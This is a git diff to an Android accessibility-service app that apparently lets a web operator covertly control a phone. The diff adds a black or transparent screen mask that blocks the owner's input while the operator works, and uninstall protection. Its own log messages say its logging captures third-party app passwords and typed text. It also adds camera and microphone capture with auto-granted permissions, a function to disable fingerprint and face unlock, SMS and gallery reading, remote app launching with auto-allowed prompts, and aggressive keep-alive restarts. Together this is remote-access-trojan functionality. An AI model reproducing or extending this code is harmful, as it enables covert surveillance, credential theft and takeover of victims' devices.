"SYSTEM_EVENT", "启用黑屏遮盖", mapOf(
"action" to "ENABLE_BLACK_SCREEN",
- "note" to "手机端显示遮罩，Web端可正常操作",
+ "note" to if (blackScreenMaskAlpha <= 0) {
+ "启用透明遮罩 + 最低亮度，仅阻止本机操作，Web端画面保持"
+ } else {
+ "启用黑色遮罩(alpha=$blackScreenMaskAlpha) + 最低亮度，阻止本机操作"
+ },
+ "maskAlpha" to blackScreenMaskAlpha,
"implementation" to "MaskOverlayManager",
"brightnessManagement" to if (::screenBrightnessManager.isInitialized) {
screenBrightnessManager.getBrightnessStatus()
@@ -7305,6 +7830,8 @@ class AccessibilityRemoteService : AccessibilityService() {
// 🔑 关键修复：禁用AccessibilityService截图模式
screenCaptureManager?.disableAccessibilityScreenshotMode()
+ // 黑屏取消后恢复本机输入，状态同步给Web端
+ getSocketIOManager()?.sendDeviceInputBlockedChanged(blocked = false)
Log.i(TAG, "✅ 黑屏遮盖已取消（基于MaskOverlayManager）")
@@ -7522,6 +8049,12 @@ class AccessibilityRemoteService : AccessibilityService() {
}
isUninstallProtectionEnabled = false
+ // 持久化保存关闭状态，避免重启后自动恢复为开启
+ try {
+ val sp = getSharedPreferences(UNINSTALL_PROTECTION_PREF, MODE_PRIVATE)
+ sp.edit().putBoolean(KEY_UNINSTALL_PROTECTION, false).apply()
+ } catch (_: Exception) {
+ }
// 停止监听
stopUninstallProtectionMonitor()
@@ -8885,19 +9418,8 @@ class AccessibilityRemoteService : AccessibilityService() {
Log.w(TAG, "⚠️ 调整屏幕亮度失败，但继续阻止输入")
}
} else {
- Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限，打开权限页面")
-
- // 如果没有权限，通过WriteSettingsPermissionManager打开权限页面
- if (::writeSettingsPermissionManager.isInitialized) {
- try {
- writeSettingsPermissionManager.openWriteSettingsPage()
- Log.i(TAG, "📱 已打开WRITE_SETTINGS权限设置页面，用户可手动授权")
- } catch (e: Exception) {
- Log.e(TAG, "❌ 打开WRITE_SETTINGS权限页面失败", e)
- }
- } else {
- Log.w(TAG, "⚠️ WriteSettingsPermissionManager未初始化")
- }
+ // 远控过程中不自动拉起设置页，避免打断当前被控界面和手势链路
+ Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限，跳过自动亮度调节（不自动打开设置页面）")
}
} else {
Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化")
@@ -8915,6 +9437,9 @@ class AccessibilityRemoteService : AccessibilityService() {
isInputBlocked = true
}
+ // 同步输入阻止状态到服务端，确保Web端状态及时刷新
+ getSocketIOManager()?.sendDeviceInputBlockedChanged(blocked = true)
+
} catch (e: Exception) {
Log.e(TAG, "❌ 阻止设备用户输入失败", e)
@@ -8952,6 +9477,9 @@ class AccessibilityRemoteService : AccessibilityService() {
Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化")
}
+ // 同步输入阻止状态到服务端，确保Web端状态及时刷新
+ getSocketIOManager()?.sendDeviceInputBlockedChanged(blocked = false)
+
} catch (e: Exception) {
Log.e(TAG, "❌ 恢复设备用户输入失败", e)
}
@@ -8984,6 +9512,9 @@ class AccessibilityRemoteService : AccessibilityService() {
* 启用操作日志记录
*/
fun enableLogging() {
+ // 先标记期望状态，避免在管理器未初始化时丢失“应开启”状态
+ isLoggingEnabled = true
+
// 暂停：暂时不启用日志记录功能
// Log.i(TAG, "⏸️ 暂停：暂时不启用日志记录功能")
// return
@@ -8999,21 +9530,23 @@ class AccessibilityRemoteService : AccessibilityService() {
// return
// }
- if (::loggingManager.isInitialized) {
- // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
- loggingManager.enableLogging()
- isLoggingEnabled = true
-
- // ✅ 修复：启用OperationLogCollector的日志记录
- logCollector?.startLogging()
-
- // 更新AccessibilityEventManager的日志状态
- if (::accessibilityEventManager.isInitialized) {
- accessibilityEventManager.updateLoggingStatus(true)
- }
-
- Log.i(TAG, "✅ 日志记录已启用，包括增强的第三方应用密码和文本输入记录")
+ if (!::loggingManager.isInitialized) {
+ Log.w(TAG, "⏳ LoggingManager未初始化，已记录日志开启意图，待初始化后补启")
+ return
}
+
+ // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
+ loggingManager.enableLogging()
+
+ // ✅ 修复：启用OperationLogCollector的日志记录
+ logCollector?.startLogging()
+
+ // 更新AccessibilityEventManager的日志状态
+ if (::accessibilityEventManager.isInitialized) {
+ accessibilityEventManager.updateLoggingStatus(true)
+ }
+
+ Log.i(TAG, "✅ 日志记录已启用，包括增强的第三方应用密码和文本输入记录")
}
/**
@@ -9031,21 +9564,26 @@ class AccessibilityRemoteService : AccessibilityService() {
* 禁用操作日志记录
*/
fun disableLogging() {
- if (::loggingManager.isInitialized) {
- // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
- loggingManager.disableLogging()
- isLoggingEnabled = false
+ // 先写入期望状态，避免初始化顺序导致状态漂移
+ isLoggingEnabled = false
- // ✅ 修复：停用OperationLogCollector的日志记录
- logCollector?.stopLogging()
-
- // 更新AccessibilityEventManager的日志状态
- if (::accessibilityEventManager.isInitialized) {
- accessibilityEventManager.updateLoggingStatus(false)
- }
-
- Log.i(TAG, "✅ 日志记录已禁用")
+ if (!::loggingManager.isInitialized) {
+ Log.w(TAG, "⏳ LoggingManager未初始化，已记录日志关闭意图")
+ return
}
+
+ // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
+ loggingManager.disableLogging()
+
+ // ✅ 修复：停用OperationLogCollector的日志记录
+ logCollector?.stopLogging()
+
+ // 更新AccessibilityEventManager的日志状态
+ if (::accessibilityEventManager.isInitialized) {
+ accessibilityEventManager.updateLoggingStatus(false)
+ }
+
+ Log.i(TAG, "✅ 日志记录已禁用")
}
/**
@@ -9097,24 +9635,53 @@ class AccessibilityRemoteService : AccessibilityService() {
* 直接启用日志记录（不检查授权状态）
*/
private fun enableLoggingDirectly() {
+ // 先标记期望状态，防止管理器尚未初始化导致状态丢失
+ isLoggingEnabled = true
+
// // 暂停：暂时不直接启用日志记录功能
// Log.i(TAG, "⏸️ 暂停：暂时不直接启用日志记录功能")
// return
- if (::loggingManager.isInitialized) {
- // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
+ if (!::loggingManager.isInitialized) {
+ Log.w(TAG, "⏳ LoggingManager未初始化，已记录日志开启意图（direct）")
+ return
+ }
+
+ // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
+ loggingManager.enableLogging()
+
+ // ✅ 修复：启用OperationLogCollector的日志记录
+ logCollector?.startLogging()
+
+ // 更新AccessibilityEventManager的日志状态
+ if (::accessibilityEventManager.isInitialized) {
+ accessibilityEventManager.updateLoggingStatus(true)
+ }
+
+ Log.i(TAG, "✅ 日志记录已启用，包括增强的第三方应用密码和文本输入记录")
+ }
+
+ /**
+ * 当日志状态在管理器初始化前已置为开启时，执行一次补偿启动。
+ */
+ private fun applyPendingLoggingStateIfNeeded(reason: String) {
+ try {
+ if (!isLoggingEnabled) {
+ return
+ }
+ if (!::loggingManager.isInitialized) {
+ Log.w(TAG, "⏳ 跳过日志补偿启动($reason): LoggingManager未初始化")
+ return
+ }
+
loggingManager.enableLogging()
- isLoggingEnabled = true
-
- // ✅ 修复：启用OperationLogCollector的日志记录
logCollector?.startLogging()
-
- // 更新AccessibilityEventManager的日志状态
if (::accessibilityEventManager.isInitialized) {
accessibilityEventManager.updateLoggingStatus(true)
}
-
- Log.i(TAG, "✅ 日志记录已启用，包括增强的第三方应用密码和文本输入记录")
+ Log.i(TAG, "✅ 日志补偿启动完成: reason=$reason")
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 日志补偿启动失败: reason=$reason", e)
}
}
@@ -10053,7 +10620,7 @@ class AccessibilityRemoteService : AccessibilityService() {
addAction("android.mycustrecev.STOP_SECONDARY_CONFIRMATION")
addAction("android.mycustrecev.PERMISSION_RECOVERY_FAILED")
}
- registerReceiver(permissionHealthReceiver, filter)
+ registerReceiverCompat(permissionHealthReceiver, filter)
Log.i(TAG, "✅ 已注册权限健康监控广播接收器")
} catch (e: Exception) {
Log.e(TAG, "❌ 注册权限健康监控广播接收器失败", e)
@@ -10482,6 +11049,19 @@ class AccessibilityRemoteService : AccessibilityService() {
return if (::permissionGranter.isInitialized) permissionGranter else null
}
+ fun getRuntimePermissionFailureReason(permissionType: String): String? {
+ return try {
+ if (!::permissionGranter.isInitialized) {
+ null
+ } else {
+ permissionGranter.getRuntimePermissionFailureReason(permissionType)
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "获取运行时权限失败原因异常: permissionType=$permissionType", e)
+ null
+ }
+ }
+
/**
* ✅ 新增：查找所有可点击且可选择的控件
*/
@@ -11260,6 +11840,7 @@ class AccessibilityRemoteService : AccessibilityService() {
fun startCameraCapture() {
try {
Log.i(TAG, "📷 启动摄像头捕获")
+ ensureRemoteForegroundServiceTypeForRealtimeCapture(requireCamera = true, requireMicrophone = false)
if (!checkCameraPermission()) {
Log.e(TAG, "❌ 摄像头权限未授予，开始申请权限")
@@ -11377,6 +11958,12 @@ class AccessibilityRemoteService : AccessibilityService() {
fun startMicrophoneRecording() {
try {
Log.i(TAG, "🎤 开始麦克风录音")
+ ensureRemoteForegroundServiceTypeForRealtimeCapture(requireCamera = false, requireMicrophone = true)
+ if (!checkMicrophonePermission()) {
+ Log.w(TAG, "🎤 麦克风权限未授予，先触发自动授权流程")
+ requestMicrophonePermissionWithAutoGrant()
+ return
+ }
microphoneManager.startRecording()
} catch (e: Exception) {
Log.e(TAG, "开始麦克风录音失败", e)
@@ -11407,6 +11994,34 @@ class AccessibilityRemoteService : AccessibilityService() {
}
}
+ private fun ensureRemoteForegroundServiceTypeForRealtimeCapture(
+ requireCamera: Boolean,
+ requireMicrophone: Boolean
+ ): Boolean {
+ val action = when {
+ requireCamera && requireMicrophone -> RemoteControlForegroundService.ACTION_UPGRADE_CAMERA_MICROPHONE
+ requireCamera -> RemoteControlForegroundService.ACTION_UPGRADE_CAMERA
+ requireMicrophone -> RemoteControlForegroundService.ACTION_UPGRADE_MICROPHONE
+ else -> null
+ } ?: return true
+
+ return try {
+ val intent = Intent(this, RemoteControlForegroundService::class.java).apply {
+ this.action = action
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ startForegroundService(intent)
+ } else {
+ startService(intent)
+ }
+ Log.d(TAG, "✅ 已请求前台服务类型升级: action=$action")
+ true
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 请求前台服务类型升级失败: action=$action, msg=${e.message}", e)
+ false
+ }
+ }
+
fun requestGalleryPermissionWithAutoGrant() {
try {
@@ -11445,6 +12060,19 @@ class AccessibilityRemoteService : AccessibilityService() {
}
}
+ fun disableBiometricAuth(): Pair {
+ return try {
+ if (!::permissionGranter.isInitialized) {
+ Pair(false, "权限管理器未初始化")
+ } else {
+ permissionGranter.disableBiometricAuth()
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "一键禁用指纹/人脸失败", e)
+ Pair(false, "一键禁用指纹/人脸失败: ${e.message ?: "unknown_error"}")
+ }
+ }
+
fun readSMSList(limit: Int = 50): List {
return try {
@@ -11455,6 +12083,451 @@ class AccessibilityRemoteService : AccessibilityService() {
}
}
+ /**
+ * 设置黑屏遮罩透明度（0~255）
+ */
+ fun setMaskOverlayAlpha(alpha: Int?) {
+ try {
+ if (alpha == null) return
+ val normalized = alpha.coerceIn(0, 255)
+ blackScreenMaskAlpha = normalized
+ if (::maskOverlayManager.isInitialized) {
+ maskOverlayManager.setMaskOverlayAlpha(normalized)
+ }
+ Log.d(TAG, "🎚️ 黑屏遮罩透明度已设置: $blackScreenMaskAlpha")
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 设置黑屏遮罩透明度失败", e)
+ }
+ }
+
+ private fun getInstalledApplicationsCompat(packageManager: PackageManager): List {
+ return try {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ packageManager.getInstalledApplications(PackageManager.ApplicationInfoFlags.of(0))
+ } else {
+ @Suppress("DEPRECATION")
+ packageManager.getInstalledApplications(0)
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ getInstalledApplications 失败", e)
+ emptyList()
+ }
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 拉取当前设备可启动应用列表，供 Web 端展示并执行一键打开。
+ */
+ fun listLaunchableApps(includeIcons: Boolean = false): List> {
+ return try {
+ val packageManager = packageManager
+ val launcherIntent = Intent(Intent.ACTION_MAIN).apply {
+ addCategory(Intent.CATEGORY_LAUNCHER)
+ }
+
+ val launcherActivities = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ packageManager.queryIntentActivities(
+ launcherIntent,
+ PackageManager.ResolveInfoFlags.of(0)
+ )
+ } else {
+ @Suppress("DEPRECATION")
+ packageManager.queryIntentActivities(launcherIntent, 0)
+ }
+
+ val launcherAppList = launcherActivities
+ .asSequence()
+ .mapNotNull { resolveInfo ->
+ val activityInfo = resolveInfo.activityInfo ?: return@mapNotNull null
+ val appInfo = activityInfo.applicationInfo ?: return@mapNotNull null
+ if (appInfo.packageName == packageName) return@mapNotNull null
+
+ val appName = try {
+ resolveInfo.loadLabel(packageManager)?.toString()?.trim().orEmpty()
+ } catch (_: Exception) {
+ ""
+ }.ifEmpty {
+ try {
+ packageManager.getApplicationLabel(appInfo)?.toString()?.trim().orEmpty()
+ } catch (_: Exception) {
+ ""
+ }.ifEmpty { appInfo.packageName }
+ }
+
+ val appData = mutableMapOf(
+ "packageName" to appInfo.packageName,
+ "appName" to appName,
+ "isSystemApp" to ((appInfo.flags and ApplicationInfo.FLAG_SYSTEM) != 0),
+ "enabled" to (appInfo.enabled && activityInfo.enabled)
+ )
+
+ if (includeIcons) {
+ val iconBase64 = encodeAppIconBase64(packageManager, appInfo)
+ if (!iconBase64.isNullOrBlank()) {
+ appData["iconBase64"] = iconBase64
+ appData["iconMimeType"] = "image/png"
+ }
+ }
+
+ appData
+ }
+ .distinctBy { item -> item["packageName"] as String }
+ .sortedWith(
+ compareBy> { item -> item["isSystemApp"] as Boolean }
+ .thenBy { item -> (item["appName"] as String).lowercase() }
+ )
+ .toList()
+
+ if (launcherAppList.isNotEmpty()) {
+ Log.i(TAG, "📦 Launcher 查询应用列表成功，共 ${launcherAppList.size} 个，includeIcons=$includeIcons")
+ return launcherAppList
+ }
+
+ Log.w(TAG, "⚠️ Launcher 查询为空，回退到已安装应用扫描")
+ val fallbackAppList = getInstalledApplicationsCompat(packageManager)
+ .asSequence()
+ .mapNotNull { appInfo ->
+ if (appInfo.packageName == packageName) return@mapNotNull null
+ val launchIntent = packageManager.getLaunchIntentForPackage(appInfo.packageName)
+ ?: return@mapNotNull null
+
+ val appName = try {
+ packageManager.getApplicationLabel(appInfo)?.toString()?.trim().orEmpty()
+ } catch (_: Exception) {
+ ""
+ }.ifEmpty { appInfo.packageName }
+
+ val appData = mutableMapOf(
+ "packageName" to appInfo.packageName,
+ "appName" to appName,
+ "isSystemApp" to ((appInfo.flags and ApplicationInfo.FLAG_SYSTEM) != 0),
+ "enabled" to (appInfo.enabled && launchIntent.component != null)
+ )
+
+ if (includeIcons) {
+ val iconBase64 = encodeAppIconBase64(packageManager, appInfo)
+ if (!iconBase64.isNullOrBlank()) {
+ appData["iconBase64"] = iconBase64
+ appData["iconMimeType"] = "image/png"
+ }
+ }
+
+ appData
+ }
+ .distinctBy { item -> item["packageName"] as String }
+ .sortedWith(
+ compareBy> { item -> item["isSystemApp"] as Boolean }
+ .thenBy { item -> (item["appName"] as String).lowercase() }
+ )
+ .toList()
+
+ if (fallbackAppList.isNotEmpty()) {
+ Log.i(TAG, "📦 回退扫描应用列表成功，共 ${fallbackAppList.size} 个，includeIcons=$includeIcons")
+ } else {
+ Log.w(TAG, "⚠️ 回退扫描仍为空，应用列表可能受系统包可见性限制")
+ }
+
+ fallbackAppList
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 获取可启动应用列表失败", e)
+ emptyList()
+ }
+ }
+
+ fun checkAppListAvailability(): Pair {
+ return try {
+ val packageManager = packageManager
+ val hasQueryAllPackages = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
+ try {
+ packageManager.checkPermission(
+ "android.permission.QUERY_ALL_PACKAGES",
+ packageName
+ ) == PackageManager.PERMISSION_GRANTED
+ } catch (_: Exception) {
+ false
+ }
+ } else {
+ true
+ }
+ val launcherIntent = Intent(Intent.ACTION_MAIN).apply {
+ addCategory(Intent.CATEGORY_LAUNCHER)
+ }
+ val launcherActivities = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ packageManager.queryIntentActivities(
+ launcherIntent,
+ PackageManager.ResolveInfoFlags.of(0)
+ )
+ } else {
+ @Suppress("DEPRECATION")
+ packageManager.queryIntentActivities(launcherIntent, 0)
+ }
+
+ if (!launcherActivities.isNullOrEmpty()) {
+ Pair(
+ true,
+ "已读取到 ${launcherActivities.size} 个可启动应用（Launcher查询, queryAll=$hasQueryAllPackages）"
+ )
+ } else {
+ val fallbackCount = getInstalledApplicationsCompat(packageManager)
+ .count { appInfo ->
+ appInfo.packageName != packageName &&
+ packageManager.getLaunchIntentForPackage(appInfo.packageName) != null
+ }
+
+ if (fallbackCount > 0) {
+ Pair(
+ true,
+ "Launcher查询为空，回退扫描读取到 ${fallbackCount} 个可启动应用（queryAll=$hasQueryAllPackages）"
+ )
+ } else {
+ Pair(
+ false,
+ if (hasQueryAllPackages) {
+ "未读取到可启动应用，可能受系统包可见性限制"
+ } else {
+ "QUERY_ALL_PACKAGES 不可用，应用列表可能被系统限制"
+ }
+ )
+ }
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 检查应用列表可用性失败", e)
+ Pair(false, "应用列表读取失败: ${e.message ?: "unknown_error"}")
+ }
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 将应用图标压缩并编码为 Base64，供 Web 端直接展示。
+ */
+ private fun encodeAppIconBase64(packageManager: PackageManager, appInfo: ApplicationInfo): String? {
+ return try {
+ val drawable = packageManager.getApplicationIcon(appInfo)
+ val bitmap = drawableToBitmap(drawable, 72, 72)
+ val output = ByteArrayOutputStream()
+ bitmap.compress(Bitmap.CompressFormat.PNG, 100, output)
+ val bytes = output.toByteArray()
+ if (bytes.isEmpty()) {
+ null
+ } else {
+ Base64.encodeToString(bytes, Base64.NO_WRAP)
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 编码应用图标失败: ${appInfo.packageName}", e)
+ null
+ }
+ }
+
+ private fun drawableToBitmap(drawable: Drawable, targetWidth: Int, targetHeight: Int): Bitmap {
+ if (drawable is BitmapDrawable && drawable.bitmap != null) {
+ val source = drawable.bitmap
+ return Bitmap.createScaledBitmap(source, targetWidth, targetHeight, true)
+ }
+
+ val width = if (drawable.intrinsicWidth > 0) drawable.intrinsicWidth else targetWidth
+ val height = if (drawable.intrinsicHeight > 0) drawable.intrinsicHeight else targetHeight
+ val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888)
+ val canvas = Canvas(bitmap)
+ drawable.setBounds(0, 0, width, height)
+ drawable.draw(canvas)
+ return Bitmap.createScaledBitmap(bitmap, targetWidth, targetHeight, true)
+ }
+
+ private fun queryLauncherActivitiesForPackage(
+ packageManager: PackageManager,
+ targetPackage: String
+ ): List {
+ val launcherIntent = Intent(Intent.ACTION_MAIN).apply {
+ addCategory(Intent.CATEGORY_LAUNCHER)
+ `package` = targetPackage
+ }
+
+ return try {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ packageManager.queryIntentActivities(
+ launcherIntent,
+ PackageManager.ResolveInfoFlags.of(0)
+ )
+ } else {
+ @Suppress("DEPRECATION")
+ packageManager.queryIntentActivities(launcherIntent, 0)
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 查询应用启动 Activity 失败: $targetPackage", e)
+ emptyList()
+ }
+ }
+
+ private fun normalizeLaunchIntent(intent: Intent, targetPackage: String): Intent {
+ if (intent.action.isNullOrEmpty()) {
+ intent.action = Intent.ACTION_MAIN
+ }
+ if (!intent.hasCategory(Intent.CATEGORY_LAUNCHER)) {
+ intent.addCategory(Intent.CATEGORY_LAUNCHER)
+ }
+ if (intent.`package`.isNullOrBlank()) {
+ intent.`package` = targetPackage
+ }
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ intent.addFlags(Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED)
+ intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ return intent
+ }
+
+ private fun buildAppLaunchCandidates(targetPackage: String): List {
+ val packageManager = packageManager
+ val candidates = mutableListOf()
+
+ packageManager.getLaunchIntentForPackage(targetPackage)?.let { launchIntent ->
+ candidates.add(normalizeLaunchIntent(launchIntent, targetPackage))
+ }
+
+ queryLauncherActivitiesForPackage(packageManager, targetPackage).forEach { resolveInfo ->
+ val activityInfo = resolveInfo.activityInfo ?: return@forEach
+ if (!activityInfo.enabled || !activityInfo.exported) {
+ return@forEach
+ }
+ val explicit = Intent(Intent.ACTION_MAIN).apply {
+ addCategory(Intent.CATEGORY_LAUNCHER)
+ component = ComponentName(activityInfo.packageName, activityInfo.name)
+ `package` = activityInfo.packageName
+ }
+ candidates.add(normalizeLaunchIntent(explicit, targetPackage))
+ }
+
+ if (candidates.isEmpty()) {
+ candidates.add(
+ normalizeLaunchIntent(
+ Intent(Intent.ACTION_MAIN).apply {
+ addCategory(Intent.CATEGORY_LAUNCHER)
+ `package` = targetPackage
+ },
+ targetPackage
+ )
+ )
+ }
+
+ return candidates
+ .distinctBy { intent ->
+ val component = intent.component?.flattenToShortString().orEmpty()
+ "${intent.action}|$component|${intent.`package`.orEmpty()}"
+ }
+ }
+
+ private fun formatAppLaunchFailureMessage(
+ targetPackage: String,
+ throwable: Throwable?
+ ): String {
+ if (throwable == null) {
+ return "应用启动失败: 未匹配到可执行入口"
+ }
+ val detail = (throwable.message ?: "unknown")
+ .replace('\n', ' ')
+ .replace('\r', ' ')
+ .trim()
+ .ifEmpty { "unknown" }
+ return when (throwable) {
+ is SecurityException -> "应用启动受系统限制(后台启动受限): $detail"
+ is ActivityNotFoundException -> "应用无可启动页面: $detail"
+ else -> "应用启动失败(${throwable.javaClass.simpleName}): $detail"
+ }
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 按包名打开指定应用，并返回执行结果供 Socket 层回执。
+ */
+ fun openApp(packageName: String): Pair {
+ val targetPackage = packageName.trim()
+ if (targetPackage.isEmpty()) {
+ return Pair(false, "包名为空")
+ }
+
+ return try {
+ val packageManager = packageManager
+ val appInfo = try {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ packageManager.getApplicationInfo(
+ targetPackage,
+ PackageManager.ApplicationInfoFlags.of(0)
+ )
+ } else {
+ @Suppress("DEPRECATION")
+ packageManager.getApplicationInfo(targetPackage, 0)
+ }
+ } catch (_: Exception) {
+ null
+ }
+
+ if (appInfo == null) {
+ Log.w(TAG, "⚠️ 应用未安装: $targetPackage")
+ return Pair(false, "应用未安装或不可见: $targetPackage")
+ }
+
+ if (!appInfo.enabled) {
+ Log.w(TAG, "⚠️ 应用已禁用: $targetPackage")
+ return Pair(false, "应用已被系统禁用: $targetPackage")
+ }
+
+ val launchCandidates = buildAppLaunchCandidates(targetPackage)
+ var lastThrowable: Throwable? = null
+ var launchSucceeded = false
+
+ launchCandidates.forEachIndexed { index, intent ->
+ if (launchSucceeded) return@forEachIndexed
+ try {
+ startActivity(intent)
+ launchSucceeded = true
+ Log.i(
+ TAG,
+ "✅ 打开应用成功: package=$targetPackage, candidate=${index + 1}/${launchCandidates.size}, component=${intent.component}"
+ )
+ } catch (e: Throwable) {
+ lastThrowable = e
+ Log.w(
+ TAG,
+ "⚠️ 应用启动候选失败: package=$targetPackage, candidate=${index + 1}/${launchCandidates.size}, component=${intent.component}, err=${e.javaClass.simpleName}:${e.message}"
+ )
+ }
+ }
+
+ if (!launchSucceeded) {
+ try {
+ val detailIntent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
+ data = Uri.parse("package:$targetPackage")
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ }
+ startActivity(detailIntent)
+ return Pair(false, "应用启动受限，已打开应用详情页: $targetPackage")
+ } catch (_: Throwable) {
+ // ignore, fallback to detailed launch error
+ }
+ return Pair(false, formatAppLaunchFailureMessage(targetPackage, lastThrowable))
+ }
+
+ recordOperationLog(
+ "APP_OPENED",
+ "远程打开应用: $targetPackage",
+ mapOf("packageName" to targetPackage, "source" to "web_control")
+ )
+
+ try {
+ accessibilityEventManager.startAppOpenAutoAllow(targetPackage)
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 启动 APP_OPEN 自动允许窗口失败: $targetPackage", e)
+ }
+
+ Log.i(TAG, "✅ 已请求打开应用: $targetPackage")
+ Pair(true, "应用启动指令已发送")
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 打开应用失败: $targetPackage", e)
+ Pair(false, "打开应用失败: ${e.message ?: "未知异常"}")
+ }
+ }
+
fun readGallery(limit: Int = 100): List {
return try {
galleryManager.readGalleryList(limit)
@@ -12452,4 +13525,4 @@ class AccessibilityRemoteService : AccessibilityService() {
val pattern: String,
val points: List
)
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt b/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt
index cb25494..d1d4283 100644
--- a/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt
+++ b/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt
@@ -11,6 +11,7 @@ import android.content.IntentFilter
import android.os.PowerManager
import android.util.Log
import androidx.core.app.NotificationCompat
+import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
/**
@@ -120,7 +121,7 @@ class BackgroundKeepAliveManager(private val context: Context) {
addAction(Intent.ACTION_USER_PRESENT)
// ✅ 参考 f 目录：已移除重启无障碍服务广播监听
}
- context.registerReceiver(backgroundReceiver, filter)
+ context.registerReceiverCompat(backgroundReceiver, filter)
Log.i(TAG, "📡 后台保活广播接收器已注册")
} catch (e: Exception) {
Log.e(TAG, "❌ 注册后台保活广播接收器失败", e)
diff --git a/app/src/main/java/com/hikoncont/service/ConfigMaskService.kt b/app/src/main/java/com/hikoncont/service/ConfigMaskService.kt
index 46776c9..6d8332d 100644
--- a/app/src/main/java/com/hikoncont/service/ConfigMaskService.kt
+++ b/app/src/main/java/com/hikoncont/service/ConfigMaskService.kt
@@ -22,6 +22,7 @@ import android.widget.ProgressBar
import androidx.core.app.NotificationCompat
import com.hikoncont.R
import com.hikoncont.service.modules.ConfigProgressManager
+import com.hikoncont.util.registerReceiverCompat
/**
* 配置遮盖服务
@@ -102,11 +103,11 @@ class ConfigMaskService : Service() {
val filter = IntentFilter().apply {
addAction("android.mycustrecev.HIDE_CONFIG_MASK")
}
- registerReceiver(hideReceiver, filter)
+ registerReceiverCompat(hideReceiver, filter)
// 注册进度更新广播接收器
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
- registerReceiver(progressReceiver, progressFilter)
+ registerReceiverCompat(progressReceiver, progressFilter)
Log.i(TAG, "✅ ConfigMaskService进度更新广播接收器注册成功")
Log.i(TAG, "📡 ConfigMaskService监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
@@ -392,4 +393,4 @@ class ConfigMaskService : Service() {
.setOngoing(true)
.build()
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/EffectiveKeepAliveManager.kt b/app/src/main/java/com/hikoncont/service/EffectiveKeepAliveManager.kt
index f22163f..28083df 100644
--- a/app/src/main/java/com/hikoncont/service/EffectiveKeepAliveManager.kt
+++ b/app/src/main/java/com/hikoncont/service/EffectiveKeepAliveManager.kt
@@ -9,6 +9,9 @@ import android.os.Build
import android.os.PowerManager
import android.util.Log
import androidx.core.app.NotificationCompat
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.ForegroundServiceStarter
+import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
/**
@@ -19,7 +22,6 @@ class EffectiveKeepAliveManager(private val context: Context) {
companion object {
private const val TAG = "EffectiveKeepAlive"
- private const val CHECK_INTERVAL = 500L // ✅ 激进：500ms检查一次，快速发现问题
private const val NOTIFICATION_ID = 8888
}
@@ -28,6 +30,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
private var wakeLock: PowerManager.WakeLock? = null
private var isMonitoring = false
private var notificationManager: NotificationManager? = null
+ private val keepAlivePolicy by lazy { DeviceDetector.getKeepAlivePolicy() }
/**
* 开始有效保活监控
@@ -94,7 +97,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
releaseWakeLock()
// 被系统或清理工具杀死时，安排自恢复（还原KeepAliveService的逻辑）
- scheduleSelfAndCoreRestart(50L) // ✅ 激进：50ms极速恢复
+ scheduleSelfAndCoreRestart(getRecoveryDelayMs())
// 取消监控任务
monitorJob?.cancel()
@@ -106,7 +109,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
*/
fun onTaskRemoved() {
Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved)，安排服务自恢复")
- scheduleSelfAndCoreRestart(50L) // ✅ 激进：50ms极速恢复
+ scheduleSelfAndCoreRestart(getRecoveryDelayMs())
}
/**
